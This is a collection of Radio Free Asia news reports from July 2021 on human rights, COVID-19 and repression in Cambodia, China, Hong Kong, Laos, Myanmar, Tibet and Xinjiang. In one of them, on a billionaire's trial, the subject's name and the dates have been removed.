Article 38 of Cambodias constitution stipulates that every individual has the right to defense through judicial recourse. Article 14(3)(d) of the International Covenant on Civil and Political Rights, ratified by Cambodia, says that all persons are equal before courts and tribunals and have the right to be tried in person, and to defend themselves in person or through legal assistance of his own choosing;

Ny Sokha, human rights monitoring director at the domestic NGO the Cambodian Human Rights and Development Association (ADHOC), said that when an accused person states his intention to attend a hearing, authorities must coordinate and facilitate for him to do so.

Basically, the accused must be present in the court to defend his rights during the hearing, he said. If the accused states clearly about his intention to present himself during the hearing and to respond to any questions posed by the court, and authorities in turn do not provide proper means for him to do so, [it] is a violation of his rights to enjoy being treated equally before the court.

Reported by RFAs Khmer Service. Translated by Sovannarith Keo. Written in English by Roseanne Gerin.
The move is part of a nationwide bid to step up the pace of the vaccine program by imposing restrictions on those who don't get the jabs.

A child looks on as a woman receives a COVID-19 vaccination in Nantong, in eastern China's Jiangsu province, July 5, 2021.

Authorities in southwestern China are threatening to deny school places to children whose families haven't all been fully vaccinated against COVID-19, local residents and state-run media reported.

China has administered 1.4 billion vaccine doses, or two-fifths of the global total of 3.47 billion doses, with state media reporting in late June that around 40 percent of the population is now fully vaccinated.

However, provincial governments in Zhejiang, Jiangxi, Fujian, Shandong, Shanxi, Guangxi, Hubei, Gansu, and elsewhere have issued warnings this week of restrictions on the movements of unvaccinated people, state-owned media The Paper reported.

In the southwestern region of Guangxi, governments in Guiping and Beiliu cities are warning families that their children won't be allowed into school in the absence of a vaccine certificate, and their enrollment will be suspended.

"Family members for whom vaccination is indicated shall complete vaccination before the beginning of school," the notice said. "In principle, if vaccination isn't completed, enrollment will be suspended."

"Please hurry to the nearest vaccination center to avoid affecting your child's education," the notice, cited in The Paper, said.

A Guiping resident surnamed Chen said the policy is mandatory.

"This includes anyone in the family, and it's mandatory, because the entire family has to get vaccinated because of the child or children," Chen said.

"They are threatening people, depriving their children of their right to education to force them to get vaccinated," he said.

Governments across China have begun announcing restrictions on the movement of unvaccinated people into healthcare facilities, railway stations, shopping malls, supermarkets, farmers' markets, and tourist destinations, among other places, The Paper reported.

Some are requiring bus or taxi service providers to check passengers' vaccination status.

'Railroading people now'

Beijing current affairs commentator Li Jinping said that the health ministry claims that the COVID-19 vaccination program is voluntary.

But in practice, many local governments see boosting local uptake figures as a political task.

"They are kind of railroading people now, by linking all of the relatives together," Li said.

"If one person fails to abide by this decision of the local government, the whole family will be affected," he said.

Similar moves are afoot in Zhejiang's Qingtian county, which recently issued a directive requiring that only vaccinated people be allowed to enter government agencies, state-owned companies and institutions, medical facilities, nursing homes, kindergartens, restaurants, farmers' markets, and other public places.

Authorities in Ninghai county followed suit, with the order taking effect on July 25, while authorities in Menglian county in the southwestern province of Yunnan announced a mass PCR testing drive from July 12-14, with dance halls, karaoke parlors, bars, and theaters shut down in the county town for one week.

Healthcare workers across China will start vaccinating teenagers this month against COVID-19, beginning in Guangxi and in the central province of Hubei, with those aged 15-17 first in line, with 12-14 year-olds to follow in August, Reuters reported.

They will receive one of two homegrown vaccines, one made by Sinovac Biotech and the other by a Beijing-based company affiliated with Sinopharm, developed specifically for those aged between three and 17.



Translated and edited by Luisetta Mudie.
Alexandra Wong gets one month in jail amid an ongoing crackdown on dissent in the wake of the 2019 protest movement.

Activist Alexandra Wong (C), also known as Grandma Wong, is taken away by Hong Kong police while protesting on the 24th anniversary of Hong Kong's handover from Britain, July 1, 2021.

An iconic Hong Kong democracy activist who frequently took part in the 2019 protest movement waving a British flag has been jailed for one month.

Alexandra Wong, 65, known by fellow protesters as Grandma Wong, was sentenced to one month's imprisonment by the Eastern Magistrates' Court, which found her guilty of "common assault."

The court found that Wong had "pushed" a security guard at Hong Kong's High Court in 2019 after being asked for an ID in the lobby of the building.

Magistrate Edward Wong said the alleged assault was "intentional" and didn't happen in self-defense.

He said the court had a duty to protect its staff.

Wong commented at a court hearing in May, before she was remanded in custody: "I don't know what will happen in the future, but I will keep on going until my last breath; hope to see you on the other side."

Wong's jailing came as a court heard arguments around whether using the main slogan of the 2019 protest movement -- Free Hong Kong! Revolution Now! -- was in breach of a draconian national security law imposed on Hong Kong by the ruling Chinese Communist Party (CCP) in the wake of the protests.

Tong Ying-kit, 24, is the first person to stand trial with no jury in Hong Kongs High Court under the national security law for "incitement to secession" and "terrorism," as well as dangerous driving charges after he rode a motorcycle carrying the slogan on July 1, 2020 during protests against the law.

Tong's trial is being held in front of a panel of three national security judges handpicked by chief executive Carrie Lam, while he is being represented by barrister Lawrence Lau and Senior Counsel Clive Grossman.

The Hong Kong government announced last July that the slogan was in breach of the national security law, which criminalizes speech and actions deemed secessionist, subversive, or seditious.

Book vendors warned

The city's annual book fair opened on Wednesday amid warnings from the organizer to vendors to exercise "self-discipline" when choosing which books to display, or risk being investigated by Hong Kong's national security police.

Benjamin Chau, deputy head of the Hong Kong Trade Development Council (HKTDC), which runs the Hong Kong International Book Fair, said any complaints about books displayed at the fair will be referred to national security police.

CCP supporters have said they will be going to the fair to carry out spot checks at the fair, which included displays of CCP content including the Selected Works of Mao Zedong, biographies of the late supreme leader, and Mao badges.

Books relating to the political ideology of current CCP leader Xi Jinping didn't seem to be selling so well as the Mao-era offerings, however.

"That's Xi Jinping, the president of our country," a primary school student at the fair told RFA. "I recognize him from the TV news, but I'm not interested in buying his book."

"The school gave it to me as a gift, but I don't want to read it because it's so boring: I want to buy some other, more interesting, books," the student said.

Another group of primary school students, asked what would violate the national security law, replied: "Demonstrations, because they want to split Hong Kong and China."

One student, asked if they felt brainwashed, replied: "No, because I don't listen. I just do my own thing."

Self-censorship

Jimmy Pang, who heads the Hong Kong publishing house Subculture, said the book fair was already engaging in self-censorship, however.

"They won't be taking all of the books they have published [to the venue], including anything about June 4, 1989 [Tiananmen massacre] or the [2019 protest] movement," he said.

"Self-censorship is a huge issue, and it's not good [for the industry]," Pang said. "Nobody wants to get into trouble, so they simply won't bring books along that don't praise the government, or that criticize it."

According to Pang, the city's publishers are now gradually adopting the concept that some books are banned, which will force independent houses out of business.

He said that the forced closure of the pro-democracy Apple Daily newspaper and the arrests of columnists under the national security law would have a huge impact on the publishing industry.

"It will be worse than having no book fair or no books published," Pang said. "Publishing will continue to exist, but it may be biased and simplistic."

"No one will dare to tell the truth any more ... Maybe even printers might not dare to print [certain books], or the publisher wouldn't want to distribute them, and bookstores might not want to sell them," he said.

"This is where the real damage will be done to the publishing industry."

An independent publisher who declined to be named said he would be leaving several books behind this year, including an oral history of the Cultural Revolution and a satirical book about current events.



Translated and edited by Luisetta Mudie.
Authorities in the northern Chinese province of Hebei are preparing to hold the trial of outspoken billionaire Dawu on , as an overseas rights group called for his immediate release.



, a former farmer, was detained in alongside dozens of Dawu Agricultural and Animal Husbandry Group employees, some of whom are members of his family. Company assets have been seized by local officials.



He will stand trial on at the Gaobeidian Municipal People's Court alongside his wife, grown children and employees.



The Chinese Human Rights Defenders (CHRD) network said he is being targeted for political reasons, due to his association with detained democracy activist Xu Zhiyong.



"CHRD condemns the prosecution of and the others as a blatant attempt to punish for his support of human rights defenders," the group said in a statement on its website.



"CHRD urges the Chinese government to ... end reprisals against , and release him along with his family members and employees," it said.



'A more just society'

The group said , 67, had used the profits from his billion-dollar agricultural enterprise to "support his ideals of a more just society."



"This included supporting human rights lawyers and dissidents even after they became the target of a nationwide crackdown beginning in 2015," CHRD said.



" stayed in touch with them and paid for legal costs incurred in defending them against government prosecution," it said.



The authorities soon turned their sights on himself, dispatching 300 police officers to raid his company offices and detain and 28 others on Nov. 11, 2020.



" Dawu has made extraordinary contributions to improving the life of Chinese citizens living in rural China," CHRD senior researcher Ramona Li said.



"His support of rights defenders was an extension of his concern for the welfare of people on the margins of the Chinese economy," she said, adding that he took pride in his farming origins, and wanted to improve the lot of rural communities, which have missed out on the benefits of economic growth due to discriminatory household registration rules.



She said had hosted conferences for reform-minded groups and provided material support to human rights lawyers throughout China.





currently faces eight criminal charges including "illegal mining" and "picking quarrels and stirring up trouble," a charge often used to target peaceful critics of the ruling Chinese Communist Party (CCP).



The prosecution has said it is seeking a jail term of 25 years.



His defense team of some 50 attorneys has called for the case to be livestreamed.



They have also called on the ruling Chinese Communist Party (CCP) central committee to send a taskforce to investigate the claims being made by local officials about and his business.



and his family were held incommunicado under "residential surveillance at a designated location (RSDL)," a form of treatment associated with a higher risk of torture, and often meted out to detainees in political cases, CHRD said.



"That Dawu and his family have been put in a form of incommunicado detention that is reserved for those charged with state security and terrorism crimes despite not having received any qualifying charges shows that the Chinese government is pursuing a political case using economic charges as a plausible facade to punish Dawu," CHRD research and advocacy coordinator William Nee said.



The charges are linked to a dispute over the demolition of buildings on land leased to Xushui State Farm, a state-owned company, which s legal team says would normally be treated as a civil case.



But authorities have escalated it to a serious criminal case, likely at the behest of provincial-level or national leaders seeking to cut off societal support to reformers and activists like Xu Zhiyong, CHRD said.



It said the extreme speed with which local officials have processed the case also indicates the involvement of higher-ranking leaders.



Translated and edited by Luisetta Mudie.
The climb in new cases in Laos is being driven by infected workers trying to get home, officials say.

Lao migrant workers are coming home in large numbers from Thailand but are bringing COVID-19 with them, driving up new infections in Laos, which has recently seen a drop in the number of domestic cases, Lao sources say.

Up to 246,757 Lao workers have returned from Thailand since the pandemic began, with around 150,000 coming back in 2020 and their numbers now increasing day by day, Lao and Thai labor officials confirmed in a virtual meeting held on July 9.

Around 893 returned to Laos on July 11, Sisavath SouthanilaxayDeputy Director General of the Department of Communicable Disease Controltold a news conference that day, while an official in southern Laos Champassak province said on July 8 that around 200 workers had crossed each day into his province in the last five days.

Many of those returning home are bringing COVID-19 with them, accounting for large increases in the numbers of new cases reported in Laos, Sisavath Southanilaxay told reporters in a second conference on July 12.

On Saturday, there were 93 new COVID-19 cases in Laos, with 91 of these imported from Thailand. On Sunday, there were 86 new cases, of which 81 were imported. And on Monday, there were 106 new cases, of which 104 were imported, Sisavath said.

A Lao health worker in the capital Vientiane confirmed the trend. There has been almost no infection in our community at all, so most of these new cases are imported, and are coming from Thailand to Savannakhet and Champassak provinces in the south, he said.

The actual number of COVID-19 infections in Laos is getting lower, agreed a member of the Lao National Taskforce for COVID-19 Control and Prevention, but the number of imported cases is rising.

Unmonitored movements across the border with Thailand are now a particular concern, the taskforce official said.

Were concerned about the illegal crossings of Lao workers from Thailand, with many of them sneaking in by small boat across the Mekong River, he added.

Were campaigning against illegal entry and are patrolling the border with Thailand around the clock, the official said.

To handle the growing numbers of workers coming home, officials in Savannakhet have converted the provincial stadium to a quarantine center housing more than a thousand people, while the governor of Champassak is in talks with the central government to expand the provincial quarantine center and hospital, sources in the provinces said.

The governor is proposing that we use the Southern Finance College as a new quarantine center, one official in Champassak said, adding, We also want to disperse the returnees to other provinces.

Another problem is the shortage of food, so for now were asking parents and families to provide food for their relatives who have returned, he said.

Hoping to return

Lao workers still in Thailand say they hope to return home soon, and are asking for help from their embassy in the Thai capital Bangkok to bring them back.

Ive been infected for several days now, but there are no beds available here in Bangkok, one 20-year-old Lao worker told RFA on July 12. Im having more symptoms like coughing and difficulty breathing, but Im here illegally. I only have my passport, but no visa or permit to work.

I want to go home to Laos where I can be treated right away, he said.

The COVID-19 situation in Thailand is getting more critical, and a lockdown has been in place since July 12, another Lao worker in Thailand said.

We Lao workers have been laid off and are being quarantined in workers camps, and the chances of us getting tested and getting a bed at a hospital are slimmer here than in Laos.

If we stay here in Thailand, we have no job and no income, and we have to pay for our rent and our food, he said. So its better for us to go home.

I think the Lao embassy in Bangkok should be helping us to go back home to Laos because there is no treatment at all here in Thailand and because there are almost 9,000 new cases here every day, another Lao worker said.

Told to stay home

Also speaking to RFA, other Lao workers living in Bangkok described shortages of hospital beds and lack of access to treatment facilities, with one woman saying she and her family, all of them infected, had been told by authorities to remain in their home.

They said that no beds were available and told us to stay in separate rooms in our apartment and take care of ourselves, the woman, who had worked as a cloth vendor in a Bangkok market, said. Were taking medicine provided by the health care workers who sometimes call to check up on us.

We understand the situation. There are no beds available now even for Thai citizens, she said.

Another Lao worker, a housekeeper at a plastics factory working legally in Thailand, said she is now quarantined in her room.

Im covered by the Thai social security system, and Ive been tested at a hospital. Im now waiting for the result, which should come in about three to five days. I have no headache or fever, only a little coughing and a sore throat, she said.

A Lao man working in a Bangkok suburb said that many Lao living in the country have urged their embassy in Bangkok to set up an aid center to help Lao workers, especially those who are sick, illegal, undocumented, or dont know what to do.

A Lao woman died in Bangkok last month after being infected for days with COVID-19 and not being treated in time, he said.

There is infection everywhere, and we cant tell foreigners or Thais when or where beds might be made available, a Thai health worker explained, adding that beds in private hospitals are sometimes available, but only for the rich and famous.

Its overwhelming. We cant treat everyone whos sick. There are just too many of them, he said.

Calls seeking comment from the Lao Embassy in Bangkok rang unanswered this week.

Reported by RFAs Lao Service. Translated by Max Avary. Written in English by Richard Finney.
At least 15 bodies found in a remote jungle were brutally tortured and executed, villagers say.

The murder of more than a dozen people whose bodies exhibited signs of torture and were left to rot in a forest in Myanmars remote Sagaing region this week was carried out by troops loyal to the countrys junta and should be classified as a war crime, witnesses and a rights lawyer said Tuesday.

Residents of Sagaings Kani township, where fighting has raged between junta forces and a branch of the Peoples Defense Force (PDF) militia in recent months, told RFAs Myanmar Service that they found the hog-tied and severely beaten bodies of at least 15 people scattered in the jungle surrounding Yin and Kone Thar villages on Sunday and Monday, days after a government military unit left the area.

Photos obtained by RFA show several rigid, discolored corpses littered face down on the forest floor, either naked or wearing soiled clothing, stretched tight from swelling during decomposition.

The victims were not members of the PDF that was formed to protect villagers following the militarys Feb. 1 coup detat, but rather a group of civilians ranging in age from their late teens to mid-60s who were arrested after attempting to flee the arrival of junta troops on July 8, the residents said.

One resident, who spoke to RFA on condition of anonymity citing fear of reprisal, said that his brothers bodies were among those discovered in the forest and said the condition he found one of them in pointed to physical abuse.

He was lying on his stomach, with his legs tied with a rope. He appeared to have been tortured. There were plenty of wounds on the body and he seemed to have been dragged on the ground, the resident said. He had to cut the bindings before cremating the body where it lay because it was too risky to carry it back [home], he added.

I will never accept the rule of such an evil regime. I want to appeal to the international community to intervene in this situation instead of ignoring us during this crisis.

RFA spoke with another resident who claimed he had witnessed the military carry out the killings, but said he was too terrified to go on the record about what he saw.

A source from Yin village, who declined to be named, said he had never seen a body as savagely murdered as the ones found in the forest this week.

As the military troops arrived, we tried to pacify the soldiers as much as we could to avoid conflict, but this still happened despite those efforts, he said.

This kind of brutality is unprecedentednot only in this township, but throughout Myanmar. We have seen bodies piled like firewood and covered under a sheet of tarpaulin, as well as traps set to injure or kill the people who come to dispose of them. But this is so brutal. I have never seen anything like it.

Other villagers whose loved ones were among the dead said the military no longer bothers to separate PDF members from civilians anymore, firing on anyone they encounter in the forest and tying up as many people as they can find before killing them all.

A member of the PDF confirmed that none of the victims were part of his militia and vowed to continue to fight the military to bring them justice.

The ruthless killing of fleeing civilians demonstrates the lowest level of inhumanity, the PDF member said.

This killing shows that [military chief] Min Aung Hlaings regime has stepped up its brutality and ignorance. I speak for all PDF members from Kani and around the country when I say that we will keep resisting them however we can.

On Feb. 1, Myanmars military staged a coup, seizing power from Aung San Suu Kyis National League for Democracy (NLD), rejecting its landslide victory in November 2020 general elections as the result of voter fraud. The junta has provided no evidence to back up its claims and citizens from all walks of life have protested the junta.

Amid nationwide turmoil, the military has stepped up offensives in remote parts of the country of 54 million that have led to fierce battles with several PDF militias, including in Kani township, where more than 15,000 people from some 40 villages have been displaced by fighting between the two sides since April 2.

Residents of Kani said that villagers are also forced to flee because military troops regularly steal their valuables, destroy their homes, and arrest and torture them.

Earlier this month, sources told RFA that at least 10 people were killed between June 19 and 30 in Sagaing region alone, including 50-year-old Sein Min, who was among 15 residents of Kanis Kin Ywa village that were detained and tortured by junta troops and members of the pro-junta Pyu Saw Htee militia. He was later shot, and his body was dumped in a river, according to his wife, Moe Win.

And over the weekend, villagers discovered four dead bodies believed to be civilians in the latrine of a home in Kayah state, where an estimated 100,000 people have fled the area since fighting broke out between junta troops and the local PDF on May 20. Residents of battle-ravaged Demoso township told RFA that the bodies were so badly decomposed that they could not be identified but were wearing civilian clothing.

According to the United Nations and aid groups, conflict in Myanmars remote border regions has displaced an estimated 230,000 residents since the February coup. They join more than 500,000 refugees from decades of conflict between the military and ethnic armies who were already counted as internally displaced persons (IDPs) at the end of 2020, according to the Internal Displacement Monitoring Center, a Norwegian NGO.

Villagers in Kani township said Tuesday that most of the bodies discovered earlier this week will be collectively cremated because the risk of troops returning is too great for victims families to hold individual funerals. They said efforts are still underway to determine exactly how many residents were arrested by the junta last week or had fled the area.

A body discovered with its ankles bound in the jungle in Sagaing's Kani township, July 13, 2021. Citizen journalist Call to try war crime

Min Lwin Oo, a human rights attorney from the Asian Human Rights Commission (AHRC) Burma, said the mass killing in Kani township should be classified a war crime and litigated accordingly.

We have seen such mass killings and torture occurring in the ethnic areas in the pastwe have collected information about these incidents and presented it at U.N. Human Rights Council for many yearsbut the international response has taken too long, he said.

These delays have allowed the illegitimate armed forces to kill with impunity.

Aung Myo Min, human rights minister for Myanmars shadow National Unity Government (NUG), called the killings in Kani inhumane and in violation of international law.

They chased after people who fled their homes to arrest, torture and brutally kill them, he said.

During armed conflicts, combatants are required to avoid harming civilians  But even if a soldier surrenders, he should be treated humanely. This is international law. We denounce this ruthless mass killing.

Repeated attempts by RFA to contact Maj. Gen. Zaw Min Tun, the militarys Deputy Minister of Information, went unanswered Wednesday.

According to the Thailand-based rights group Assistance Association for Political Prisoners (AAPP), at least 906 civilians have been killed and nearly 5,239 people have been arrested in Myanmar since the coup.

Reported by RFAs Myanmar Service. Translated by Ye Kaung Myint Maung. Written in English by Joshua Lipes.
Displays by Tibetans of the Dalai Lamas photo and celebrations of his birthday are harshly punished in Tibetan areas of China.

Tibetan spiritual leader the Dalai Lama greets well-wishers in a virtual message on his birthday, July 6, 2021.

Chinese officials in a Tibetan-populated region of Sichuan have arrested two Tibetans for celebrating the 86th birthday this month of exiled spiritual leader the Dalai Lama, Tibetan sources say.

The pair, a man named Kunchok Tashi and a woman named Dzapo, both in their 40s, were taken into custody in Kardze (in Chinese, Ganzi) Tibetan Autonomous Prefectures Kyaglung town, said Golog Jigme, a former political prisoner now living in Switzerland.

They were arrested on suspicion of being part of a group on social media that shared images and documents, and encouraged the reciting of Tibetan prayers on the birthday of His Holiness the Dalai Lama, Golog Jigme said, citing sources in the region.

No details were immediately available on the date of the pair's arrest or where they are currently being held.

Another 20 to 30 Tibetans were also arrested this year for celebrating the Dalai Lamas July 6 birthday, but due to strict restrictions on communications in the region, nothing more is known about their names or where [they were arrested], Golog Jigme said.

However, they were all arrested sometime around His Holiness the Dalai Lamas birthday, he said.

The Dalai Lama fled Tibet into exile in India in the midst of a failed 1959 Tibetan national uprising against rule by China, which marched into the formerly independent Himalayan country in 1950.

Displays by Tibetans of the Dalai Lamas photo, public celebrations of his birthday, and the sharing of his teachings on mobile phones or other social media are often harshly punished.

Chinese authorities maintain a tight grip on Tibet and on Tibetan-populated regions of western China, restricting Tibetans political activities and peaceful expression of cultural and religious identity, and subjecting Tibetans to imprisonment, torture, and extrajudicial killings.

Reported by Lobe for RFAs Tibetan Service. Translated by Tenzin Dickyi. Written in English by Richard Finney.
US Secretary of State Antony Blinken speaks about the release of the 2021 Congressional Report Pursuant to the Elie Wiesel Genocide and Atrocities Prevention Act at the State Department in Washington, July 12, 2021.

The U.S. government on Tuesday expanded its warning about doing business in Chinas Xinjiang Uyghur Autonomous Region (XUAR), citing forced labor and genocide against the Uyghur ethnic group, while the European Union issued new guidelines to halt the import of goods made with suspected forced labor.

The updated Xinjiang Supply Chain Business Advisory was issued in response to Chinas ongoing genocide and crimes against humanity in Xinjiang and the growing evidence of its use of forced labor there, said a statement issued by U.S. Secretary of State Antony Blinken.

Businesses, individuals, and other persons, including but not limited to investors, consultants, labor brokers, academic institutions, and research service providers with potential exposure to or connection with operations, supply chains, or laborers from the Xinjiang-region, should be aware of the significant reputational, economic, and legal risks of involvement with entities or individuals in or linked to Xinjiang that engage in human rights abuses, the U.S. advisory said.

Given the severity and extent of these abuses, including widespread, state-sponsored forced labor and intrusive surveillance taking place amid ongoing genocide and crimes against humanity in Xinjiang, businesses and individuals that do not exit supply chains, ventures, and/or investments connected to Xinjiang could run a high risk of violating U.S. law, it said.

The 36-page advisory, nearly double the length of the same document issued a year ago, was issued by the U.S. State, Treasury, Commerce, and Homeland Security departments and now includes information from the Labor Department and the Office of the U.S. Trade Representative as co-signatories.

Todays action demonstrates the Biden-Harris Administrations commitment to ending forced labor around the world, especially in global supply chains, said U.S. Trade Representative Katherine Tai in a separate statement.

The advisory strengthens recommendations for companies about the risks and potential exposure related to supply chains and investment links to the XUAR, and updates the list of U.S. government enforcement actions in and in connection to the region.

U.S. firms could be exposed to Chinese human rights abuses in Xinjiang through assisting or investing in the development of surveillance tools and sourcing labor or goods from Xinjiang or other areas of the Peoples Republic of China (PRC) tied to the use of Uyghur forced labor, said the advisory.

They also could be exposed by supplying U.S.-origin goods and technology to Chinese entities engaged in surveillance and forced labor practices and helping build or operate internment facilities, it said.

The United States will continue to promote accountability for the PRCs atrocities and other abuses through a whole-of-government effort and in close coordination with the private sector and our allies and partners, the USTR statement said.

Washington issued the original Xinjiang Supply Chain Business Advisory in July 2020 to alert American companies about the economic, legal, and reputational risks associated with operations in the XUAR.

Genocide report, trade blacklist

The advisory comes on the heels of the July 9 update by the U.S. Commerce Department of its blacklist of Chinese companies accused of direct involvement in human rights abuses in the XUAR.

The 14 new Chinese firms added to the Entity List will face restrictions on exports and technology transfers for having enabled Beijings campaign of repression, mass detention, and high-technology surveillance against Uyghurs, Kazakhs, and others, the department said.

The U.S. government in January designated abuses in the XUAR as part of a campaign of genocide, and has since ramped up punishments against China, targeting Chinese firms that manufacture solar-panel material, wigs, electronics, tomatoes, and cotton with suspected forced Uyghur labor.

For years, Chinese authorities have subjected Uyghurs and other Turkic minorities in the XUAR to arbitrary arrests, restrictions on religious practice and culture, and a pervasive digitized surveillance system that monitors their every move using facial recognition cameras, mobile phone scans, DNA collection, and an extensive police presence.

Since 2017, Uyghurs accused of having strong religious views and politically incorrect views as well as prominent intellectuals have been jailed or detained in political internment camps in the XUAR, where they are subject to various forms of abuse.

An estimated 1.8 million Uyghurs and other Muslim minorities have been locked up in the vast network of internment camps. Studies by the U.S. government indicate that at least 100,000 workers have been subjected to forced labor in factories in industrial areas where the internment camps are located, or transferred to factories in other parts of China.

The U.S. State Department, in a report to Congress on Monday, put China on a short list of countries including Myanmar, Ethiopia, Iraq, Syria, and South Sudan that are experiencing or risk facing atrocities and crimes against humanity, reiterating Washingtons six-month-old determination of genocide in the XUAR.

Secretary (Antony) Blinken affirmed in January 2021 that the Peoples Republic of China is committing genocide and crimes against humanity against Uyghurs, who are predominantly Muslim, and members of other ethnic and religious minority groups in Xinjiang. The crimes against humanity include imprisonment, torture, enforced sterilization, and persecution, the Elie Wiesel Genocide and Atrocities Prevention Act report stated.

China has said that the re-education camps are vocational training centers set up to prevent religious extremism and terrorism and denied that the Uyghurs and others are subject to maltreatment.

The State Department also will warn U.S. companies this week of the rising risks of operating in Hong Kong as China asserts more control over the financial center, The Financial Times reported Tuesday, citing three people familiar with the plan.

EU sharpens focus on supply chains

The first U.S. business advisory related to Hong Kong comes a little over a year since Beijing imposed a harsh National Security Law on the former British colony, which was followed by the arrests of scores of politicians, activists, and journalists amid sharply deteriorating civil liberties.

At a Chinese Foreign Ministry news conference in Beijing on Tuesday, spokesman Zhao Lijian denounced the U.S. moves on Xinjiang and Hong Kong.

No matter how some in the U.S. go to great lengths along its misguided course to hype up lies on Xinjiang, their political conspiracy to disrupt Xinjiang and contain China will only end up in failure, said Zhao.

We always firmly oppose the U.S. interference in Chinas internal affairs under the pretext of the Hong Kong issue, he said. The Basic Law of Hong Kong and other relevant laws clearly protect the rights and interests of foreign investors.

The European Union issued business guidance for that regions companies on how to identify, prevent, mitigate, and address forced labor in global supply chains. The overview of EU and international instruments on responsible business conduct that are relevant for combating forced labor did not specify regions or countries.

The EU already has mandatory standards in some sectors and promotes the effective implementation of international standards on responsible business conduct, said a statement released Friday by the European Commission (EC).

There is no room in the world for forced labor, said Valdis Dombrovskis, the ECs executive vice-president and commissioner for trade. The Commission is committed to wiping this blight out as part of our broader work to defend human rights. This is why we put strengthening the resilience and sustainability of EU supply chains at the core of our recent trade strategy.

In June, the Inter-Parliamentary Alliance on China (IPAC), an international group of lawmakers from democratic countries focused on relations with China and the Chinese Communist Party, called on the leaders at the G7 Summit of industrialized democracies in Cornwall, England, to address Uyghur forced labor.

The G7 countries  Canada, France, Germany, Italy, Japan, the United Kingdom, and the U.S.  tasked their trade ministers with identifying areas for greater cooperation and collective efforts towards eliminating forced labor in global supply chains, ahead of a G7 Trade Ministers meeting scheduled for October 2021.

In a letter dated July 6 to French Senator Andre Gattolin, an IPAC member, French President Emmanuel Macron said that the position on China that France shares with its partners is very clear.

The final communique of the G7 is in this regard without ambiguity, since it [has] asked this country to respect human rights and fundamental freedoms, in particular in Xinjiang, but also the rights, freedoms, and the high degree of autonomy of Hong Kong, said the letter, signed by Patrick Strzoda, Macrons chief of staff.
An internationally recognized expert in Uyghur folklore and ethnographer who disappeared in Chinas Xinjiang Uyghur Autonomous Region (XUAR) more than three years ago has been confirmed as being imprisoned by authorities, according to her former co-workers at Xinjiang University.

Rahile Dawut, 55, created and directed the university's Minorities Folklore Research Center and wrote dozens of articles in international journals and a number of books, including studies on Islamic sacred sites in Central Asia, and presented her work at conferences around the world.

An anthropologist by training, she disappeared in December 2017, believed to be arrested and detained in one of the many internment camps in a mass incarceration campaign launched that year by Chinese authorities, who to date have not provided information on her whereabouts or the charges against her.

Rahile was in fact detained along with other members of the Uyghur intellectual and cultural elite, sentenced, and is now in prison, RFAs Uyghur Service discovered early this month through a series of interviews with employees of Xinjiang University.

Rahile, one of many Uyghur intellectuals silenced by Chinese authorities as part of a campaign to remove influential educators, disappeared suddenly from public life, along with Tashpolat Teyip, Arslan Abdulla, and other prominent professors at Xinijang University in the XUARs capital Urumqi (in Chinese, Wulumuqi).

A female staffer in the administrative office at Xinjiang University told RFA that Rahile had been out of work for some time, and that authorities had notified the university that she had been sentenced to prison.

Yes, they notified us, she said.

The staffer, who spoke on condition of anonymity due to the sensitivity of the case, also told RFA that the university issued an internal notice to the faculty about Rahiles sentencing at the end of 2020.

Another official surnamed Zhao from the universitys Department of Propaganda confirmed that Rahile had been arrested but said he could not provide further information.

I could no longer be silent

Akida Polat, Rahiles daughter who is now based in the United States, told RFA that the last time they spoke in December 2017, her mother told her she was taking a very urgent trip to Beijing for a conference. Akida has not been able to reach her since then.

The last time I spoke with my mom, talked with her, was December 12, 2017, she said. That day, my mom was in a rush and told me she was going to Beijing and she would call me back once she got to Beijing. Then she disappeared without a trace.

With detentions of Uyghurs widespread in the XUAR at the time, Akida said she felt uneasy about her mother attending a conference but tried to console herself by telling herself that there must have been some kind of misunderstanding. But that exchange was the last she heard from her mother.

News about them taking Uyghurs into camps had just started to come out at the time, so a week later, after I still hadnt been able to find any trace of my mom, I got a bit suspicious and wondered whether they had taken her to a camp as well, but I decided to wait a bit, she said. One month later, I still hadnt gotten any news about my mom, and so I felt certain they had detained her.

China has held up to 1.8 million Uyghurs in a network of detention camps since 2017, with smaller numbers of Kazakhs and Kyrgyz, fellow Turkic-speaking people, also incarcerated in the system. Beijing says the camps are vocational training or re-education centers aimed at combating extremism in the XUAR.

By late 2018, Akida received information that her mother was being held in custody. Realizing that her year of silence on the matter had been useless, Akida decided to go public about the situation in late 2019 when she published a website with information about her mother.

I learned through acquaintances that they [Chinese authorities] had detained my mom, she said.  In the process of looking for her I had read so many things about Uyghurs in the news and began to sense that we were facing a genocide. In summer 2019, I decided I could no longer be silent and that I would testify about my mother.

The U.S. State Department, in a report to Congress on Monday, put China on a short list of countries including Myanmar, Ethiopia, Iraq, Syria, and South Sudan that are experiencing atrocities and crimes against humanity, reiterating Washingtons six-month-old determination of genocide in the XUAR.

Secretary (Antony) Blinken affirmed in January 2021 that the Peoples Republic of China is committing genocide and crimes against humanity against Uyghurs, who are predominantly Muslim, and members of other ethnic and religious minority groups in Xinjiang. The crimes against humanity include imprisonment, torture, enforced sterilization, and persecution, the Elie Wiesel Genocide and Atrocities Prevention Act report stated.

Akida told RFA that her anger about her mothers imprisonment at the hands of the Chinese government serves as motivation for her advocacy.

I was so angry when I heard the news about my mother, but the anger made me even stronger. I will never stop [fighting for] my mothers cause, and I will continue it even stronger, she said.

In January this year, Akida began working for the U.S.-based Campaign for Uyghurs, a nonprofit organization that advocates for the democratic rights and freedoms of Uyghurs in the XUAR and elsewhere, to further her mothers cause.

Rahiles disappearance had been reported by the international media, including The New York Times, The Washington Post, and The Diplomat. Chinese authorities have yet to provide any information to either Akida or concerned members of the international community.

Uyghur professor Rakhile Dawut in an undated photo. Credit: Akida Polat/freemymom.org





Keeping her case under wraps

At several news conferences over the past two years, Chinese authorities have tried to rebut the testimony of some Uyghurs abroad by disclosing partial information about their missing family members. But they have never mentioned Rahile Dawut at the media events.

Some reports on social media have suggested that Rahile has serious health problems due to torture or psychological strain she has suffered in prison, and that authorities are keeping her case under wraps for this reason.

The lack of information about Rahile from Chinese authorities has raised the visibility of her case among members of the international community. Following her disappearance, scholarly societies issued letters and statements about her, and she received several international academic awards in absentia.

The Open Society University Network named her an honorary professor in the humanities in December 2020, and New York-based Scholars at Risk, an international network of institutions and individuals whose mission is to protect scholars and promote academic freedom, awarded her the Courage to Think Award in November 2020. Both groups have issued statements to the Chinese government asking for information about Rahile and calling for her immediately release to no effect.

Rahile likely was arrested because of her research into mazars (shrines) and the manner in which she dealt with local and autonomous region-level authorities to resolve issues that posed obstacles to her work, said a Xinjiang University police officer who declined to give his name.

